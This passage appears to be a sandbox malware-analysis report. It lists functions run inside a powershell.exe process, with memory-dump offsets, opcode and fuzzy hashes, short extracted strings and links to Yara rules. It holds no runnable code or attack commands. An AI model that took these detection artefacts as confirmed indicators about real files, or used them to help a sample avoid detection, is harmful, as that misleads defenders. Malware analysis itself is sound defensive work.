Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: e9567a821587a5f0376c4e2be66d4cfc8c6f540c5076303c4651ac02cb4e93c6
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: E1F09631105519FFC7029FA5DE00D9FBBA8EF05350B2540B9F840F7250D678DE01AB69

Analysis Process: powershell.exePID: 7496, Parent PID: 7420COMMON

Executed Functions

Function 0775C80E Relevance: 1.9, Instructions: 1853COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 056cd9a2c46d4e966949b1efaf8d86511d06cfbca49b4062ec403044855cb36e
Instruction ID: 3e61f6a63ea10b0a96f171642f4286735d3642472a81afc960e3323209162ba0
Opcode Fuzzy Hash: 056cd9a2c46d4e966949b1efaf8d86511d06cfbca49b4062ec403044855cb36e
Instruction Fuzzy Hash: 77035EB4A00215DFEB60DF64C850BEAB7B2BF8A304F1084A9D8196B754CB71ED82CF51

Function 04C0EBD8 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

\Vvk, xrefs: 04C0EE8F

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID: \Vvk
API String ID: 0-1806392228
Opcode ID: 47fb10a9526470d82201c3193b298def3c774bd0f50eda7e68af6533ef0c113f
Instruction ID: 3038db6dd748a852772867586c9b56a7f08b9843737992c4c62c2cba0c454209
Opcode Fuzzy Hash: 47fb10a9526470d82201c3193b298def3c774bd0f50eda7e68af6533ef0c113f
Instruction Fuzzy Hash: 7EB15C70E40219CFDF14CFA9D8857ADBBF2EF88704F14C929E815A7294EB35A941CB81

Function 04C0F4A8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8bd60eeca143c4dffbaa3e944354a2d060282cfd467c3b97eff80e46c8aa55
Instruction ID: f144715b1190c0fc04cebaa96e131c0bf8de2734dd7693fe969ed27698061c6d
Opcode Fuzzy Hash: 8c8bd60eeca143c4dffbaa3e944354a2d060282cfd467c3b97eff80e46c8aa55
Instruction Fuzzy Hash: EBB14F70E00209CFDB24CFA9D89579DBBF2AF88714F14C52DD415E7294EBB4A985CB81

Function 04C0B0E8 Relevance: 6.8, Strings: 5, Instructions: 520COMMON

Download Yara Rule

Strings

Ivk, xrefs: 04C0BCA4
8Nvk, xrefs: 04C0C1D8
h]vk, xrefs: 04C0B312
h]vk, xrefs: 04C0BC78
h]vk, xrefs: 04C0B7B6

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID: 8Nvk$h]vk$h]vk$h]vk$Ivk
API String ID: 0-457104239
Opcode ID: 2a7ea63bcfa93246285ca2cb0ed9fd37c0ecafe7383f085cd772bc361ccba030
Instruction ID: 88bdfcd66b2ddd7523f0ea2eb6f15b7166fe5323cf91ef328ecae1d6e3d5c7ca
Opcode Fuzzy Hash: 2a7ea63bcfa93246285ca2cb0ed9fd37c0ecafe7383f085cd772bc361ccba030
Instruction Fuzzy Hash: C7226234B002148FDB29DB64C9547ADB7B6BF89305F1484A9D409AB390DF35AE86CF85

Function 04C0F220 Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

\Vvk, xrefs: 04C0F28F
\Vvk, xrefs: 04C0F3E2

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID: \Vvk$\Vvk
API String ID: 0-1912818553
Opcode ID: 549991ee21c6a7f68c536d8b7e611518edf36dace75b6ac42f506cb6e874a46b
Instruction ID: a3e5083f0a648abeee43356b1e0859c1fbb31ee46d74c9c4491daa5fdf9a95ae
Opcode Fuzzy Hash: 549991ee21c6a7f68c536d8b7e611518edf36dace75b6ac42f506cb6e874a46b
Instruction Fuzzy Hash: C9714070E002099FDF24DFA9D8407AEBBF2AF88714F14C12DD815A7294DB74A985CB91

Function 04C0F21C Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

\Vvk, xrefs: 04C0F28F
\Vvk, xrefs: 04C0F3E2

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID: \Vvk$\Vvk
API String ID: 0-1912818553
Opcode ID: 82ce0c1c75efc5ae056bc09fbe3ad673780396baef4702cf0543bdb0144670d7
Instruction ID: d6d6513dc8c48029153e3cfc55504999a06f5dece596d88bbc39100c2bfe7207
Opcode Fuzzy Hash: 82ce0c1c75efc5ae056bc09fbe3ad673780396baef4702cf0543bdb0144670d7
Instruction Fuzzy Hash: 44714E70E002099FDF24DFA9D84579DBBF2AF88714F14C129D815A7290DBB4A985CF91

Function 04C0BDA0 Relevance: 2.6, Strings: 2, Instructions: 92COMMON

Download Yara Rule

Strings

Ivk, xrefs: 04C0BCA4
h]vk, xrefs: 04C0BC78

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID: h]vk$Ivk
API String ID: 0-3194200174
Opcode ID: 3ec9ab4ad60e6af6c1cbf1a5dd4cec3a78baa3e34ad96e8fe4ba5dd15cb074aa
Instruction ID: 9bd6c3e6b28932d3e856c610800f29f602cae7d320fdf143713fb4eb75f20a46
Opcode Fuzzy Hash: 3ec9ab4ad60e6af6c1cbf1a5dd4cec3a78baa3e34ad96e8fe4ba5dd15cb074aa
Instruction Fuzzy Hash: B6315030B012188FCB25DB64C9946EEB7B2AF89345F1084E9D409AB351DB35EE86DF81

Function 04C0EBCC Relevance: 1.5, Strings: 1, Instructions: 290COMMON

Download Yara Rule

Strings

\Vvk, xrefs: 04C0EE8F

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID: \Vvk
API String ID: 0-1806392228
Opcode ID: 488f1d1dc882e0b1cc84a30a9d910ba2cafe73509a7c9c4fea6e3fbdd10eeb72
Instruction ID: be867c822a4ad9fb6ffd6fd613533c822fc11dbdf40313c04e838c8f6194f607
Opcode Fuzzy Hash: 488f1d1dc882e0b1cc84a30a9d910ba2cafe73509a7c9c4fea6e3fbdd10eeb72
Instruction Fuzzy Hash: 34B17D70E40219CFDF14CFA9D88579DBBF2EF88714F14C929E815A7290EB35A941CB81

Function 07753130 Relevance: 1.4, Instructions: 1370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96338605cb7029f79e0bd70c6665a06abe0fd2f022bfa27a654b3d02eae5ec9b
Instruction ID: fe52f2fb68541eb374c09ef0a44c3eb436797cc53ab13d3914ab385bd564a30a
Opcode Fuzzy Hash: 96338605cb7029f79e0bd70c6665a06abe0fd2f022bfa27a654b3d02eae5ec9b
Instruction Fuzzy Hash: 0FC2A4B4B00205DFE714DFA8C840BAABBB2FB89344F208559D9156F796CB72DD42CB91

Function 0775D5EE Relevance: 1.2, Instructions: 1234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daddc53f357fff58fe02820565168d3c140ef291b87343248917803dd3bb173d
Instruction ID: c6f230cc6218ec7be0cfb63457826a4a56e1c9fe10ea9e8d2bc09a6c4538cd82
Opcode Fuzzy Hash: daddc53f357fff58fe02820565168d3c140ef291b87343248917803dd3bb173d
Instruction Fuzzy Hash: 24C260B4A003149FEB64DF64CC54BEAB7B2BB85304F1084A9D8196B794CB75ED82CF91

Function 077548E8 Relevance: .9, Instructions: 904COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14490d908eb8ef8e621928cb3aa17443eecec4c03776561047fb600b2a821da9
Instruction ID: f7cd52bbd7ff0fa1485c1b6c837d3cb860abfb81d29cd08920af981e490abf41
Opcode Fuzzy Hash: 14490d908eb8ef8e621928cb3aa17443eecec4c03776561047fb600b2a821da9
Instruction Fuzzy Hash: 5C827DB4A00215DFEB20DF54C950BAEB7B2BB89304F10C9A9D91A6B754CB71ED82CF51

Function 0775570A Relevance: .9, Instructions: 888COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7450f042a3f31751ef49985935ae22bc08a03c86b83e00fe3d0916409490e59
Instruction ID: db8b73e9062b6bb5164a0d070feaf04c579a754327a4643e35dde8eb7208aec9
Opcode Fuzzy Hash: b7450f042a3f31751ef49985935ae22bc08a03c86b83e00fe3d0916409490e59
Instruction Fuzzy Hash: F1828CB4A00214DFEB60DF54C950BAEB7B3BB89304F10C9A9D91A6B754CB71AD82CF51

Function 077534B4 Relevance: .9, Instructions: 886COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0fe103ef54a6f87935d37661e27dd527421d7eafc32d5b982b579586813bdd0
Instruction ID: 514182bfbe853d784ab29ada261a6b95f5cc7f405a7032f6c3f8fc0e47502fd9
Opcode Fuzzy Hash: a0fe103ef54a6f87935d37661e27dd527421d7eafc32d5b982b579586813bdd0
Instruction Fuzzy Hash: 828282B4A10204DFE724DF98C440B9ABBB2FB49348F218559D9156F796CBB2ED42CF81

Function 077548E3 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a840570c0308c3f8a9aaa4dc2577aa894f90d8830388e4ee0365905568cc41ca
Instruction ID: 2b67fefaa3f4c7aea1a499ec0cedf1816c0597d1b144b14eb86d7e5d55b28d8f
Opcode Fuzzy Hash: a840570c0308c3f8a9aaa4dc2577aa894f90d8830388e4ee0365905568cc41ca
Instruction Fuzzy Hash: C1727CB4A00215DFEB20DF54C950BAEB7B2BF89304F10C9A9D91A6B754CB71AD82CF51

Function 077558DF Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13e5987ce12f89407a31695dc3f2aff1881c3c79622efb4205f490c81c829da2
Instruction ID: 1ce2170d8531a1a4f3caf2dafdff9f2581f84452dd54ffa66e9cea675334670f
Opcode Fuzzy Hash: 13e5987ce12f89407a31695dc3f2aff1881c3c79622efb4205f490c81c829da2
Instruction Fuzzy Hash: 1C526DB4A00214DFEB60DF54C950BAEB7B3BB85304F20C9A9D91A6B754CB71AD828F51

Function 07751278 Relevance: .6, Instructions: 626COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4c0e30b26254eeceff6b4373098657c39d9b602c898012771bdc3f0a21f1119
Instruction ID: 6895f448e625f941e4b5713e9cb44984fb6dda0dc8f812060aadd63a11a1d402
Opcode Fuzzy Hash: c4c0e30b26254eeceff6b4373098657c39d9b602c898012771bdc3f0a21f1119
Instruction Fuzzy Hash: EA32B0B0B00209DFD714DB98C440BAEBBB2AF86715F55C469E9059F391DBB2DC42CB92

Function 0775D7B2 Relevance: .6, Instructions: 624COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74854491fc00a377201e7752196ad435d5a4ed7aa3639803b1120e864708ad7d
Instruction ID: 3659f918972f91a2abb5ce12863703731a7aa207b88aa6ef1598f6f9b088ac72
Opcode Fuzzy Hash: 74854491fc00a377201e7752196ad435d5a4ed7aa3639803b1120e864708ad7d
Instruction Fuzzy Hash: 81427074B003149FEB64DF54C890BAAB7B2BB85304F10C4A9D81A6B755CB75ED828F51

Function 077586B8 Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f2977eda3d4a4174a239a4cde94b5c45508d0039d0c7efb3ea694bcc5894e66
Instruction ID: 29fdab7d6962cd3f64f7b533ba0b6c24581f572791e0e4158911b30306721b52
Opcode Fuzzy Hash: 3f2977eda3d4a4174a239a4cde94b5c45508d0039d0c7efb3ea694bcc5894e66
Instruction Fuzzy Hash: CF125BB1B14306DFDB159B6888007BABBA6AFC6251F1488BADD05CB351DB71DC42C7A3

Function 04C09B50 Relevance: .6, Instructions: 581COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2017a175ee97b8935df5c6a62b79d8bde6614f695f42cf29fefcb4344bb6e29
Instruction ID: 86082403d7c53ccd93f250d486da5a1e0195432ac66ccc36fc08d09ef48c0812
Opcode Fuzzy Hash: b2017a175ee97b8935df5c6a62b79d8bde6614f695f42cf29fefcb4344bb6e29
Instruction Fuzzy Hash: 4042F674A01218DFDB15CFA8D484A9DFBB2BF89314F25C159E805AB3A6C771ED81CB90

Function 0775DA44 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdcc2d68c7f898f2ddf44c8e6253b3b8e430828abfccd2ca3ce488488fe23781
Instruction ID: 23255638a940dd2e837c7f5ffa2f4f3599452a883d4e41f6dfba0149ac4de36f
Opcode Fuzzy Hash: bdcc2d68c7f898f2ddf44c8e6253b3b8e430828abfccd2ca3ce488488fe23781
Instruction Fuzzy Hash: DC124FB0A00215DFEB70DF14C880BA9B7B2BB46344F1184EAD959AB750DBB1EE81CF51

Function 0775D839 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28d8d00b11cce9201223aab295128a32aaf53dbd98034ac53fa7a3d2e41581e9
Instruction ID: 921c006c93b365f8ee9871dc6ae84fa5f75e80e7a95df23e32c0ebdb3f7d1021
Opcode Fuzzy Hash: 28d8d00b11cce9201223aab295128a32aaf53dbd98034ac53fa7a3d2e41581e9
Instruction Fuzzy Hash: 0C122EB4A00215DFEB74DF14C880BAAB7B2BB46344F1184E9D919AB750DBB1EE81CF51

Function 04C07424 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 060f006ca08638cd4df9199e1c79cbf09a9fa6a333ff3be2a4f50805ec571936
Instruction ID: 0d391ed9d06cd56bef0fded1b9d65199dab46c97fb04ffa767c56b053e96607c
Opcode Fuzzy Hash: 060f006ca08638cd4df9199e1c79cbf09a9fa6a333ff3be2a4f50805ec571936
Instruction Fuzzy Hash: 07A15F31A00208DFDB18DFA9D944A9DBBB3FF84314F158559E806AB395DB34BD4ACB90

Function 04C0F49C Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dcf7f6a26a468f3373988d08c69c03a0c8f542f4c848803486d22441410de25
Instruction ID: 625cff3ce1b1a97f031de4477d0b293fd1c2a0f53756174d40a82809482e6991
Opcode Fuzzy Hash: 4dcf7f6a26a468f3373988d08c69c03a0c8f542f4c848803486d22441410de25
Instruction Fuzzy Hash: 42B15E70E00209CFDB20CFA9D88579DBBF2AF88754F14852DD815E7294EBB4A985CB81

Function 04C02AA0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7707daf29b299e9dfde0abd6f23a020740021cc092cc8179c79a2895cb18e556
Instruction ID: 9748720bc159a221cc51bc3cc1efdda34aa23c08cd22650147cdc695e7a9a31e
Opcode Fuzzy Hash: 7707daf29b299e9dfde0abd6f23a020740021cc092cc8179c79a2895cb18e556
Instruction Fuzzy Hash: 6E918E74A006098FDB15CF58C4D8AAEFBB2FF89310B248599D815AB3A5C736FD51CB90

Function 07751E80 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcfe9a3b02b6906ac6350419252f5a17b58f81a3682ac628f34df8d2c02c31d9
Instruction ID: 92466667ea07a3b0c68535ffede13e283837d166934ecf75c8b9f914159b188c
Opcode Fuzzy Hash: dcfe9a3b02b6906ac6350419252f5a17b58f81a3682ac628f34df8d2c02c31d9
Instruction Fuzzy Hash: 30517FF170530A9FD7209B698800766BBE5AFC6252F64896ADD09DB392DBB1C841C391

Function 04C07CDE Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ef6d006e07d01a92d8d703f6a86e109cc7d45cf52af7f64bf37c62ef9f116b5
Instruction ID: f210beabf1b173f725df2e27b17178eb05196ea867dac303aadeb0d4def5467e
Opcode Fuzzy Hash: 1ef6d006e07d01a92d8d703f6a86e109cc7d45cf52af7f64bf37c62ef9f116b5
Instruction Fuzzy Hash: F3713B70E01209DFDB18DFA5D884AADBBF2BF88304F148429D412AB790DB35BD46CB55

Function 07750548 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da20703c980514af7e89113076d8fb1df0e473f044158d9997cf664d8e111f3f
Instruction ID: 68dbefa8d959f9ef17dd03b7a74f5ce0f5e1afaea91c8a5600c2d7dc1ebe50b7
Opcode Fuzzy Hash: da20703c980514af7e89113076d8fb1df0e473f044158d9997cf664d8e111f3f
Instruction Fuzzy Hash: 8A5126F1704306DFDB256B7488106BA7BA2EFC2355F24886ADD02DB295DE71C841C7A2

Function 07750C78 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3647c669ca68b8bfd2e590f82aaf46ec0adc13cbabd919dd24203ef5160ee514
Instruction ID: 71d119dc12cc3b9b594f7245d19ca7358ef56973536b61062b8674615a9d293a
Opcode Fuzzy Hash: 3647c669ca68b8bfd2e590f82aaf46ec0adc13cbabd919dd24203ef5160ee514
Instruction Fuzzy Hash: C0518DB17043469FDB215B788800BBBBBA2EFC2351F14887BD945CB391DAB1E851C7A1

Function 04C07B5B Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0232c281598380e8fa5b2c69e600ea0e95fb32a11ad366b60a98f6c4b5e0e63c
Instruction ID: 2ac1fa6c94abce0e5f9645a252aff24b334d8637c6febfaafefb05fc61810e87
Opcode Fuzzy Hash: 0232c281598380e8fa5b2c69e600ea0e95fb32a11ad366b60a98f6c4b5e0e63c
Instruction Fuzzy Hash: 3B618D30A01609CFDB18DF68C884A9EBBB2FF89314F15C569D4069B791DB75BD46CB80

Function 0775869C Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10050f094fcae1e6eb0c0181bcbdb043a9d115c26a25df9885ce68ba7f09997f
Instruction ID: ab17e72332094ed21b74ec8ff6a4c7031b9adcedd29cb5645392eb8af9b19f7f
Opcode Fuzzy Hash: 10050f094fcae1e6eb0c0181bcbdb043a9d115c26a25df9885ce68ba7f09997f
Instruction Fuzzy Hash: A1412AF1B10201DFDB149F6489406767BB2EF86294F1988BADC01DF751D772E982CBA2

Function 04C07901 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc7b44437992f98f97a2d51835cac4cc89b8b6b220b6bde2dee89ffc7cf91e68
Instruction ID: ce14a47080379ed02121a5da065856bd7c642d822662b2e1030123c627f36dc4
Opcode Fuzzy Hash: cc7b44437992f98f97a2d51835cac4cc89b8b6b220b6bde2dee89ffc7cf91e68
Instruction Fuzzy Hash: E4415F31B052059FDB19DF74C5586AA7BB3EF89750F098069E406EB7A0DB34AD42CB90

Function 07750B00 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9be0411475dcbd2ea18b66ed4b7a6a307ffd5cd16ae835a90a2975bf7c6cffe
Instruction ID: 863b2248461309978264c3cc837c81a20174aa34f4b01da46a98e74dc11aaf7e
Opcode Fuzzy Hash: b9be0411475dcbd2ea18b66ed4b7a6a307ffd5cd16ae835a90a2975bf7c6cffe
Instruction Fuzzy Hash: 6E3113B17003068BDB14AB798C403FEB7A6AFC6355F20882ADC4ADB741EB72D941C791

Function 04C07918 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ba41d4ffd41be670af4b38dd1fc80ab68480abbea3e1b6d87a8431d631b52f2
Instruction ID: c41ab2d496b7018efe17a178b0b0ad2c4d3dd45391be432be0d4704c955394b6
Opcode Fuzzy Hash: 7ba41d4ffd41be670af4b38dd1fc80ab68480abbea3e1b6d87a8431d631b52f2
Instruction Fuzzy Hash: E3413E31B012058FDB18DF74C558AA97BB7EF88710F188468E406AB3A0DB34AD41CB94

Function 04C02BB0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2207728476.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a38c65f79cf68ce20d77aea953dc64c80a432cd3a5e61659778d1d6c65d3a6d5
Instruction ID: 603998d8456d80693297f821560011573b61a79e335aff173adff797088420f6
Opcode Fuzzy Hash: a38c65f79cf68ce20d77aea953dc64c80a432cd3a5e61659778d1d6c65d3a6d5
Instruction Fuzzy Hash: 02417974A006058FDB05CF58C4D8AAAFBB2FF49310B118699D815AB3A5C336FD51CFA0

Function 077560E8 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2214506960.0000000007750000.00000040.00000800.00020000.00000000.sdmp, Offset: 07750000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7750000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a1c07997b88c2e6faa390a8ed851d79caed4f547e22226d6389e979d1df37bd
Instruction ID: 008063218cfd2a9ea77f6331d3e129ade51a6bced40eb578d335d55b95135888
